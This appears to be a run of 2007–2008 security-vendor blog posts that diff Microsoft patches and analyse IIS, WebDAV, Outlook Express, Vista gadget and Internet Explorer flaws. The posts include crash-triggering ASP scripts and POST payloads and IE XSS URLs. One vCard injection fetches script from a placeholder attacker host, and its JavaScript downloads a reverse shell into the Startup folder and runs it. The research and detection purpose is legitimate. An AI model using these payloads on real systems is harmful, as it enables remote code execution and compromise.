Fun with WebDAV (MS08-007)
WebDAV is a set of extensions to the HTTP protocol that facilitate creation and editing. The WebDAV mini-redirector (the "WebClient" service) is a driver called mrxdav.sys that is responsible for handling WebDAV requests. With it, you can browse to a DAV directory within Windows Explorer and even map it to a drive letter. The MS08-007 bug is an integer overflow in the code that lists DAV directories. If a malicious server sends a filename greater than 65536 bytes, a heap overflow occurs. Since MS08-007 effects the driver itself, this bug causes a crash in the kernel itself resulting in a "BSoD".
Exploiting IIS via HTMLEncode (MS08-006)
The second Tuesday of every month is a busy time at BreakingPoint; myself and the rest of the security team stop what we are doing and focus entirely on the patches released by Microsoft. Using IDA Pro in conjunction with BinDiff, we compare the existing files with their patched versions and review the differences. This month, Microsoft released patches for seventeen individual vulnerabilities split into eleven different bulletins. Two of these were denial of service flaws, one was a local privilege escalation issue, seven were related to Microsoft Office, four were part of a cumulative update to Internet Explorer, two were client-side (OLE and WebDAV), and only one was what most folks consider a real, “remote” vulnerability. In this article, I will walk through the process of finding, investigating, and exploiting MS08-006.
The first step to finding the flaw is to download the patch. Microsoft makes the patch files available hours before the actual security bulletins are posted, giving us a head start. The easiest way to download the patches is by browsing to Microsoft.com, searching for all results in the Downloads category, and sorting the results by date. The latest security patches will be listed first. In this case, I was using a target system running Windows XP Pro, so I downloaded the WindowsXP-KB942830-x86-ENU.exe patch installer. Instead of just double-clicking the file, I opened up a command shell and ran the installer with the /x:output parameter. This causes the installer to extract the patched files into a directory called output. Inside the output directory are three subdirectories, two of which are SP2GDR and SP2QFE. Since my target machine is running the release version of XP, I opened the SP2GDR directory in Windows Explorer. In most cases, the "GDR" directories refer to the retail or OEM version, while the "QFE" directories refer to the checked/debug version. Inside this directory is a single file, named asp51.dll. This is the only file changed by this particular patch. This file is the core of Active Server Page (ASP) support in Microsoft's IIS web server. ASP support is enabled by default in IIS 5.1 on Windows XP.
Now that we have the patched file, we need to find the unpatched version, and analyze both with IDA Pro. A quick search of the XP system showed no file named “asp51.dll”, however, there was a DLL named “asp.dll”. To verify that these are the same components, I checked the “Internal Name” field of the version information in each file. Both were set to “asp.dll”. I copied both of these files into a new directory and renamed the new version to “patched_asp.dll”. I opened the patched version in IDA Pro, waited for the initial analysis to complete, and saved the results to an IDB file. I followed the same procedure for the unpatched version. Once analysis of the unpatched version was complete, I launched the BinDiff plugin from the Edit menu. I selected the “Diff against...” button and chose the IDB file from the patched version. After about a thirty seconds of processing, BinDiff completed, resulting in four new windows inside the IDA Pro interface. These windows are labeled “Primary Unmatched”, “Secondary Unmatched”, “Matched Functions”, and the one we care about, “Changed Functions”.
The Changed Functions list only contained three entries. The first was for a “GUID” function, the second was for “CTemplate::ProcessIncludeFile()”, and the third was for “HTMLEncodeLen()”. On this system, IIS had just been installed, without any patches. Based on previous analysis, I knew that the ProcessIncludeFile change was a vulnerability covered by a previous bulletin. The GUID function appeared to be used for versioning, leaving only the HTMLEncodeLen function for review. I right-clicked this function from the list and selected the “Visual Diff” menu item. This launched BinDiff's Java-based viewer – a massive upgrade over the old side-by-side text view. As you can see in the image below, six new blocks of code were added in the patched version (the red boxes on the right side).
Before going any further, it makes sense to read the assembly code from the top of the function down and figure out what this function is supposed to do. The first thing I noticed is that this function is iterating through a string, passed in as an argument, one character at a time, incrementing a counter based on a variety of criteria. Characters with the values 0x3c, 0x3e, 0x26, and 0x22 are handled as special cases, as are all characters with a value greater than or equal to 0xa0. The end result of this function is to return an integer indicating the number of bytes required to store the encoded version of the string. After getting an overview of the function, I focused on the changed code blocks in the patched version. In the old code, any character greater than 0xa0 added 8 bytes to the returned size value. This makes sense when encoding a high ASCII character into an HTML entity, which would be look something like”ÿ”. However, if the input is a wide character string (16 bits per character), then the output would instead look like “”, two bytes larger than the maximum encoding for high ASCII characters. In the patched version of the code, a series of comparisons are made against the 16-bit value of the Unicode character in the input string. The image below shows these comparisons:
The comparisons in the patched code narrowed down the problematic input to a particular range. The final range of values that is special-cased by the new code appears to be 0xd800-0xdfff. At this point, I had a good idea of what caused the bug, and what inputs this function needed to trigger it, but I still did not know how to reach this code as a remote attacker.
I switched back to IDA Pro, browsed to the HTMLEncodeLen function, and used the Control+X shortcut to bring up a list of code locations that called this function.
Three different locations called the HTMLEncodeLen function. The first was the CErrInfo:WriteHTMLEncodedErrToBrowser function, the second was the Redirect method of the Response object (CResponse::Redirect), and the last was the HTMLEncode method of the Server object (CServer::HTMLEncode). A quick review of the CErrInfo and CResponse locations did not turn up any easy way to affect the input string, however, the CServer call feeds a string to this function that comes directly from the calling ASP script. To test this theory, I wrote a quick ASP script that fed Unicode input to the HTMLEncode method.
Dim buff
Dim i
For i=1 to 10000
buff = buff & ChrW(57342) ' 0xDFFE
Next
Response.Write Server.HTMLEncode(buff)
Once the script was saved to the web root, I attached WinDbg to the ASP worker process for IIS (dllhost.exe) and accessed the ASP script in my browser. The worker process crashed almost immediately, with the following exception:
eax=34333735 ebx=00a10000 ecx=23263b32
edx=00a36e50 esi=00a36e48 edi=00000008
eip=7c91142e esp=00fcef60 ebp=00fcf180
ntdll!wcsncpy+0x99f:
7c91142e 8b39 mov edi,dword ptr [ecx]
The crash occurs inside the wcsncpy function, which is used to perform a string copy. It appears that one of the arguments to this function has been overwritten by an ASCII string. The pointer value of 0x23263b32 translates to the four byte string “2;&#”, which is part of the encoded Unicode sequence. If we can control the encoded output, we can control the bytes which are used to do the overwrite. This test script is not a realistic example, so the next challenge is finding a real-world script that is exploitable.
In order to locate ASP applications that pass user input to the HTMLEncode method, I used Google's CodeSearch web site. This site allows you to query a huge index of source code, using regular expressions as search terms. In this case, I submitted “Server\.HTMLEncode.*Request”. There were about 100 matches, including the 500-100.asp script bundled with IIS. Unfortunately, the 500-100.asp script calls HTMLEncode on the Request.Form and Request.QueryString methods, which contain the URI-encoded values, instead of the decoded Unicode values. A vulnerable use of HTMLEncode must pass the decoded values from the user, not the raw request (at least, it seems that way now).
Even though 500-100.asp doesn't look like a possibility, there are a number of common web applications that do call HTMLEncode in an exploitable way. The trick is getting the input string to be Unicode. On a typical English-language system, all strings coming from the Request.QueryString and Request.Forms methods are pulled in as ASCII and then converted to Unicode internally. To trigger this bug, the input must be treated as Unicode strings. There are two ways this can happen. The first option is if the native codepage of the server hosting the ASP script supports multi-byte characters. This configuration is common on european and asian language systems. The second option is if the ASP script itself sets the codepage property at the top of script. This declaration looks like the following:
<%@ language=”VBScript” codepage=65001 %>
This configuration is common because its required to process non-ASCII characters in web forms. Without this codepage line, a character in Japanese show up as two characters of input, not one. While looking through the CodeSearch results, I ran across a sample script bundled with the FCKeditor application. This editor is bundled with a number of popular web applications and contains a sample script that meets the requirements:
/fckeditor/_samples/asp/sampleposteddata.asp
This script starts off with the magic codepage line:
<%@ CodePage=65001 Language="VBScript"%>Then calls HTMLEncode with the user's form input:
<td width="100%"><%=Server.HTMLEncode( Request.Form(sForm) )%></td>
I wrote a quick Ruby script to verify the crash, but ran into a problem with data encoding. Instead of using standard hex encoding for the form data, I had to use the %u format instead. The final POST request looks like:
POST /fckeditor/_samples/asp/sampleposteddata.asp HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
Content-Length: 12602
x=%udffe(repeated 100 times)%u0041(repeated 2000 times)
The series of 100 0xDFFE's open up the vulnerability by transforming into sequences of #&57342; while the 0x0041's clobber the arguments used by wcsncpy with the letter “A”. After a few more minutes of debugging, I obtained the offsets to each of the overwritten pointers. Exploiting this vulnerability to execute code should be simple, but the bytes composing the different addresses must not be above 0x9f or appear in the list of special characters.
eax=00a6b6e0 ebx=00a50178 ecx=00a6c1e0
edx=41414141 esi=00a6b6d8 edi=00a50000
eip=7c910e03 esp=00fceac0 ebp=00fceb7c
ntdll!wcsncpy+0x374:
7c910e03 8902 mov dword ptr [edx],eax
The Server.HTMLEncode() method is probably not the only way to reach the exploitable function, especially if there are ways to control the output of the Response.Redirect() method as a remote user. The 500-100.asp script included with IIS may be exploitable out of the box on non-English language packs, but more testing needs to be performed to confirm that. Coverage for this vulnerability has been added to the BreakingPoint product and will be made available in the next StrikePack.
To conclude, I installed the patch on my target system, ensured that IIS was restarted, and launched my exploit again. This time, instead of a crash in wcsncpy, an access violation was triggered when the process tried to access memory beyond the end of the heap. This access violation is caught by an exception handler and an error message is displayed to the client. While this is not exploitable, it hardly seems like the correct behavior for a patched system. Digging further, I discovered what seems to be a memory disclosure flaw. If 6,000 sequences of 0xDFFE are processed by the HTMLEncode method, when exploiting the FCKeditor sample script, the encoded output contains data that has nothing to do with the input. The following ASP script returns encoded bits of process memory in the response (it may take a few requests to see it):
Dim buff
Dim i
For i=1 to 15000
buff = buff & ChrW(57342) ' 0xDFFE
Next
Response.Write Server.HTMLEncode(buff)
MS07-061
Another Microsoft Patch Tuesday has arrived with another set of bugs, however this Tuesday we only had one which was ranked critical and as it turns out it's the bug that I was working on last week. The advisory, given the MSB number MS07-061, refers to the issue with the way Windows XP and 2003 improperly handle URIs. The attack vector that was being used to leverage this vulnerability in the wild was a behavioral issue with Adobe Acrobat, which could be made to silently instruct the OS to resolve a "mailto" URI from within a PDF document. Incidentally, resolving a URI this way required no user intervention, which made it a perfect attack vector since many browsers will use the Adobe Reader plug-in to render PDF documents directly in the browser. I began working on reproducing the attack using this pair of bugs last week due to finding out that they were actively being exploited in the wild, thus making them fairly interesting to me. You can read my summary in a previous post of mine, Adobe Acrobat and IE7 are the Best of Friends for the full details. At the time of that analysis, Adobe had patched Acrobat so that it would no longer resolve mailto URIs silently, but of course that was only half of the problem; finding other methods of having the OS resolve malicious URIs was entirely possible. Microsoft, however, has now patched their half of the problem via today's patch.
October 2007 Microsoft Tuesday
Every Microsoft Tuesday is busy here at BreakingPoint Systems, with the entire Strike Team pouring over patches, looking at IDA disassemblies, pondering BinDiff graphs, and writing exploits. From early Tuesday morning we (and our scripts) are monitoring the Windows update site in order to get the patches and bug descriptions as soon as they become available. After that, a quick game of who's-got-what-bug, and we're off to the races.
The October 2007 Microsoft patches cover the following issues:
MS07-055
Vulnerability in Kodak Image Viewer Could Allow Remote Code Execution
References: CVE-2007-2217
The MS07-055 bulletin addresses an issue with Kodak Image Viewer in the mishandling of TIFF images. TIFF files begin with an 8 byte header which consists of byte-order indicator (bytes 0-1), the value 42 (bytes 2-3), and an offset in bytes of the first Image File Directory (IFD), which allows the IFD to be located anywhere in the file. An IFD consists of a count of the number of directory entries (2 bytes) followed by a sequence of 12-byte entries, followed by a 4-byte offset of the next IFD (or 0 if none). A valid TIFF file must contain at least one IFD.
The bug lies in the application's processing of a particular IFD entry, the BitsPerSample structure. The BitsPerSample structure consists of a 2-byte tag (258), a 2-byte type (3), a 4-byte count of values, and a 4-byte offset of where the values are located. To trigger the bug, set the offset to some arbitrary data, and as the file parser attempts to parse the values from the incorrect location, the application will crash. This crash is currently being investigated further by the BreakingPoint Strike Team in order to determine where the application crashes, and to develop a proof-of-concept exploit for the bug.
| Here is an example TIFF file: | Here is the crash caught in windbg: |
 |
 |
The BreakingPoint Strike Team performed independent testing of one inline security device after applying the vendor's security pack that included coverage for this bug, and found an interesting result. It appears that the signature for this bug lacks sufficient coverage for all the cases given above. We found that this particular inline security device only provides coverage for MS07-055 when all of the following conditions are met:
- The transport is HTTP
- The TIFF file is encoded using little-endian byte ordering
- The IFD structure is located within the first 310 bytes of the file
What these results indicate is that 8 strikes were sent through the device, and 0 were detected. This indicates insufficient coverage for this vulnerability by this particular device.
Multiple strikes covering various transports and formats for this bug will be included in the StrikePack released on October 11, 2007
MS07-056
Security Update for Outlook Express and Windows Mail
References: CVE-2007-3897
The MS07-056 bulletin addresses an issue with the mishandling of NNTP server responses to the XHDR command. To exploit this bug, an attacker needs to cause the victim to browse an NNTP server under his control. The best way to do this is to employ HTTP redirection (either by sending an HTTP 301 header, or by meta-refreshing in the HTML, or similar), because this will require no user interaction beyond visiting the attacker-controlled page. The URL will look something like news://news.breakingpointsystems.com/alt.news.breakingpoint.
When Outlook Express interacts with a real NNTP server, the conversation between the client and server typically goes something like this like this:
< Client Initiates Connection >In order to trigger this bug, we must get the client to issue the XHDR command. XHDR is similar to XOVER, except the client requests information about a specific header for a range of articles. A series of XHDR commands will request information about individual headers, including the From, Subject, Date, Message-ID, References, and Xrefs headers of all the articles in the group. So, how can we force Outlook Express to send the XHDR command to the server? The key is to send an error response to the XOVER command, causing the client to fall back to using XHDR.
Server: 200 NNTP Service 5.00.0984 Version: 5.0.2195.6702 Posting Allowed
Client: MODE READER
Server: 200 NNTP Service 5.00.0984 Version: 5.0.2195.6702 Posting Allowed
Client: GROUP alt.news.breakingpoint
Server: 211 1 1003 1265 alt.news.breakingpoint
Client: XOVER 1003-1265
Server: 224 Overview Information Follows
Server: < Overview of group articles >
< Client makes requests based on user input >
The conversation between the client and our modified server goes like this:
< Client Initiates Connection >In response to the first XHDR command, an attacker should return more article headers than the client expects. The client expects to receive the number of articles the server told him about. After receiving the server reply, Outlook Express crashes, with what looks like heap corruption.
Server: 200 NNTP Service 5.00.0984 Version: 5.0.2195.6702 Posting Allowed
Client: MODE READER
Server: 200 NNTP Service 5.00.0984 Version: 5.0.2195.6702 Posting Allowed
Client: GROUP alt.news.breakingpoint
Server: 211 1 1003 1265 alt.news.breakingpoint
Client: XOVER 1003-1265
Server: 500 Error
Client: XHDR subject 1003-1265
Server: < Overflow of article subject headers >
< Client crashes >
Coverage for this bug will be included in the StrikePack released on October 11, 2007
MS07-057
Cumulative Security Update for Internet Explorer
References: CVE-2007-3893, CVE-2007-3892, CVE-2007-1091, CVE-2007-3826
The MS07-057 bulletin addresses four vulnerabilities across multiple versions of Internet Explorer. Three of these vulnerabilities are related to address bar spoofing, through the use of the onUnload() and onBeforeUnload() javascript methods. These spoofing issues can be annoying, but present a low level of risk. A demonstration of one these flaws can be found on Michal Zalewski's IETrap3 page. The fourth issue is rated critical by Microsoft and allows arbitrary code execution. The Secunia advisory states the bug occurs when multiple file downloads queue at the same time. The BreakingPoint Strike Team is still working on this flaw and hope to reproduce it in time for the upcoming StrikePack.
MS07-058
Vulnerability in RPC Could Allow Denial of Service
The MS07-058 bulletin addresses a denial of service flaw in the RPCSS service. The Microsoft RPC Service (RPCSS) is vulnerable to a denial of service attack triggered during authentication. This can be caused by including invalid NTLMSSP inside of the DCERPC traffic. The result is a crash inside of rpcrt4.dll which terminates the RPCSS service and ultimately results in the reboot of the entire system. The BreakingPoint Strike Team is currently working on providing coverage for this vulnerability.
MS07-059
Vulnerability in Windows SharePoint Services Could Result in Elevation of Privilege
The MS07-059 bulletin addresses a cross-site scripting (XSS) vulnerability in the SharePoint service. This vulnerability can be used to hijack the session of another SharePoint user, if the attacker can convince the victim to access a specific URL after authenticating with the SharePoint server. We have reproduced this in-house and plan on including coverage for this flaw in the upcoming StrikePack.
MS07-060
Vulnerability in Microsoft Word Could Allow Remote Code Execution
The MS07-060 bulletin addresses a memory corruption vulnerability in Microsoft Word 2002. At this time, we have not been able to reproduce this flaw or locate an example exploit. As far as we can tell, most security vendors are using the same sample file to develop their signatures, and are not looking for the actual vulnerability.
Vista Gadget Patches in MS07-048
Among the items patched in August by Microsoft were bugs in several Sidebar Gadgets included as part of Windows Vista. The advisory lists the RSS, contact, and weather gadgets as vulnerable to remote code execution.
Windows Vista Gadgets are described by Microsoft as "mini applications." This is somewhat of a misnomer. At their simplest, they are locally-hosted web applications that bundle all HTML, javascript, and other resources in a directory. As such, the application that hosts gadgets is actually IE7, or to use the description of Microsoft, gadgets "[use] the functionality of the Microsoft HTML (MSHTML) runtime, [and] are not limited by the standard browser security model."
Removing the standard browser security model means that gadgets have the ability to make calls to any code available locally or remotely. Local Active X controls, shell commands, and executables may be executed by a gadget. As will also be demonstrated, remotely-hosted executables can be downloaded to the machine and subsequently run.
The nature of the vulnerability in the contacts gadget is cross-site scripting in any of the phone number fields for a contact. Importing a specially-crafted contact file, and then viewing the contact in the gadget will result in code execution. This concept was to be one of the points in a talk at Defcon by Aviv Raff. A video demonstration of the attack has been made public. Since the bug is patched, we thought we'd show just how this attack works.
In the folder for the contact gadget is the file contact.html. The vulnerable version contains the following line of code, which inserts each of the phone numbers for the contact into the gadget HTML view:
newCell.innerHTML = "<span class='phone' title='" +Each of the phone number fields is being placed into an <SPAN> tag with no filtering; this is as basic a cross-site scripting vulnerability as you can get.
phoneNumber+"'></span>";
First, you must convince your victim to add your vcard. An example card is shown below, with long lines broken by backslash:
BEGIN:VCARDOne thing to point out here is that the embedded spaces between the telephone number and the embedded HTML style attribute will hide the attack when viewed in the contact manager in Windows Vista. Up to 3 embedded lines of javascript could be included in the contact file, as the home, work, and mobile phone numbers are all open to the same attack. Luckily, one injected javascript file will do the trick.
VERSION:3.0
FN:Inspector Gadget
TEL;type=HOME:(512) 555 - 1212\
' \
style='c:expression(document.all[document.all.length-1]\
.src="http://myevilhackerspace.com/adodb.js")
END:VCARD
The embedded style tag evaluates a line of javascript which causes IE7 to download the javascript. This is done abusing the <SCRIPT> tag embedded in the gadget's HTML interface. In the vulerable file, the <SCRIPT> tag is the last tag in the file, located just before the close of the <HTML> tag.
When the gadget makes the request for the javascript file, the user agent is IE7, and the referer URL is empty. When XMLHttpRequest makes the request for the executable, it has a mildly interesting referer url of x-gadget:///contacts.html
The following javascript code is downloaded and run by the gadget:
var url="http://myevilhackerspace.com/reverse9999.exe";The injected javascript specifies a remotely-hosted executable file to be downloaded, which in this case is a reverse-connect shell that will connect to the attacker on TCP port 9999. It then specifies a location to save the file, using the Windows environment variables to place it in the user's startup folder. The file is downloaded using the XMLHttpRequest object, passing the resulting bytes to the ADODB.Stream Active X control to save to disk. Once the file is saved, it is executed, and the attacker now has a remote shell on the Vista box.
var path=System.Environment.\
getEnvironmentVariable("APPDATA") +
"\\Microsoft\\Windows\\Start Menu" +
"\\Programs\\StartUp\\reverse9999.exe";
var x = new XMLHttpRequest();
x.open("GET", url, true);
x.send();
var a = new ActiveXObject("ADODB.Stream");
a.Type = 1;
a.Open();
a.Write(x.responseBody);
a.SaveToFile(path, 2);
a.Close;
a = null;
System.Shell.execute(path);
Strikes covering MS07-048 are included in BreakingPoint Systems StrikePack Update 13566, which was released on Fri August 17, 2007.
StrikePack 12524 Released
StrikePack 12524 is now available to BreakingPoint customers. This release includes coverage for many of the flaws addressed by Microsoft on July 10th (patch Tuesday), including MS07-038, MS07-039, and MS07-040. Microsoft released MS07-041 to address a two year old vulnerability in IIS 5.1 (CVE-2005-4360). This StrikePack also includes coverage for the recent Sun Java JNLP Buffer Overflow reported by eEye.
MS07-035: Win32 API Code Execution Vulnerability
One of the strangest bugs patched by Microsoft on June 12th was the "Vulnerability in Win 32 API Could Allow Remote Code Execution" issue addressed in MS07-035 (CVE-2007-2219). The description provided by Microsoft is somewhat vague:
"This critical security update resolves a privately reported vulnerability in a Win32 API. This vulnerability could allow remote code execution or elevation of privilege if the affected API is used locally by a specially crafted application. Therefore applications that use this component of the Win32 API could be used as a vector for this vulnerability. For example, Internet Explorer uses this Win32 API function when parsing specially crafted Web pages."Fortunately, a friend of mine was working on the same issue, and after reviewing the differences between the patched and unpatched versions, discovered the trigger. The vulnerability occurs when an application tries to locate a resource within an EXE or DLL using a numerical ID. A logic error results in the resource ID being treated as a resource handle if the ID supplied is greater than 65535. An attacker can exploit this flaw through Internet Explorer by redirecting the victim to a res://existing.dll resource URL that contains a hash character (#) followed by a decimal integer value greater than 65535.
This logic error eventually leads to an attempt to free the resource handle. Since the attacker controls the pointer value of the handle, the end result is a call to RtlFreeHeap() with an attacker-supplied parameter. Exploiting this to execute arbitrary code is tricky, since the attacker would need to create a fake heap structure in memory and then pass the decimal value of a pointer to this structure in the URL. In the following stack trace, the value 65536 (0x10000) was supplied as the resource ID to Internet Explorer 7.
eax=0173b8a8 ebx=00000000 ecx=0019f1e8In the crash above, an exception was thrown because the address 0x10000-1 (0xffff) does not map to a valid address. If we pass an argument that contains a valid address, then we reach the following block of code:
edx=7cbf4418 esi=00010000 edi=00140000
eip=7c931c6b esp=0173b7fc ebp=0173b8b8 iopl=0 cs=001b
ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
ntdll!RtlFreeHeap+0x44:
cmp byte ptr [esi-0x1],0xff ds:0023:0000ffff=??
ChildEBP RetAddr
0173b8b8 7c9109bc ntdll!RtlFreeHeap+0x44
0173b8cc 7c910992 ntdll!RtlpFreeAtom+0x1b
0173b8dc 7c832545 ntdll!RtlFreeUnicodeString+0x17
0173b8f0 7c80bc44 kernel32!BaseDllFreeResourceId+0x2d
0173b938 7e86e4d9 kernel32!FindResourceW+0x96
0173b970 7e942228 mshtml!GetResource+0x1c
0173bc14 7e94209d mshtml!CResProtocol::DoParseAndBind+0x2fc
0173bc30 7e941f71 mshtml!CResProtocol::ParseAndBind+0x26
0173bc54 6142d78a mshtml!CResProtocol::Start+0xa4
0173bc88 61421eab urlmon!COInetProt::StartEx+0xf1
ntdll!RtlFreeHeap+0x44The first thing we notice is that the byte before the address we pass is used to determine what type of free operation to perform. If this byte is not 0xff, then the normal free routines are used. If this byte is 0xff, then the low fragmentation heap code is called instead. This is good news for us, since it lets us hit two different code paths in search of a way to control execution. If we take the first path and point the resource ID at a block of NULL bytes, the free operation completes without an exception being raised. If we point it immediately before a byte set to 0xff, a new exception is raised from inside the low fragmentation heap code. Playing with these values should eventually lead to an exploitable condition, but so far have we not found a clean way to trigger code execution.
cmp byte ptr [esi-0x1],0xff ds:0023:0000ffff=??
jb ntdll!RtlFreeHeap+0xe1 (7c91047d) mov edx,esi call ntdll!RtlpLowFragHeapFree (7c93212e)
StrikePack 11995 included coverage for this vulnerability (ms07_035_windows_api.xml), which can be found in the /strikes/exploits/browser/ directory of the strike tree.
MS07-033: Navigation Cancel Page Vulnerability
On June 12th, Microsoft released an update to cover the five vulnerabilities addressed in MS07-033. One of the flaws, titled "Navigation Cancel Page Spoofing Vulnerability" (CVE-2007-1499), demonstrated a common problem in how resource URLs are used in Internet Explorer. This vulnerability allowed an attacker to modify the URL used in the Refresh link of the Navigation Cancelled screen of Internet Explorer 7. To exploit this flaw, an attacker would redirect the victim to a res://ieframe.dll/navcancl.htm resource URL that contains a hash character (#) and a crafted XSS string.
The vulnerability occurs in one of the included javascript functions of the navcancel.htm page. You can view the source yourself by entering that res:// URL into the location bar of Internet Explorer 7, right-clicking the page, and selecting the View Source menu item. At the top of the HTML source, we see two script tags that load in external javascript files. These files are
errorPageStrings.js and httpErrorPagesScripts.js. If we enter the URL for the httpErrorPagesScripts.js into the location bar, we see a function named navCancelInit() in the javascript source. This function looks at the parameter in the URL and then rewrites the Refresh link to point to this location. The only restriction is that the value after the hash mark must begin with http(s)://, ftp://, or file://. The problem with this code is that an attacker can insert a double-quote and close-parenthesis into the URL and then append arbitrary javascript, which will be executed within the context of the resource domain. For example, the following URL will cause an alert box to pop up when the Refresh link is clicked:
res://ieframe.dll/navcancl.htm#http://BOGUS/");alert("Hello");//
After a quick review, it appears that most IPS vendors detect this attack by looking for a link to res://ieframe.dll/navcancl.htm that contains a double-quote in the parameter. What they missed is that this location can also be accessed using a link to about:cancel. For example, the following URL will exploit this vulnerability the exact same way: about:cancel#http://BOGUS/");alert("Hello");//
The list of mappings between about URLs and resource links can be found in the
HKLM\SOFTWARE\Microsoft\Internet Explorer\AboutURLs registry key.StrikePack 11995 included two strikes for this vulnerability, ms07_033_navcancel_xss_about.xml and ms07_033_navcancel_xss_res.xml, which can be found in the /strikes/exploits/browser/ directory of the strike tree.
StrikePack 11995 Released
StrikePack 11995 is now available to BreakingPoint customers. This is our first StrikePack update since the 1.0 software update was issued. This release includes coverage for many of the flaws addressed by Microsoft on June 12th (patch Tuesday), as well as a few new unpublished vulnerabilities. It is now possible to obtain a list of all BreakingPoint proprietary strikes by searching for the "0day" keyword in the Attack Manager. Enjoy!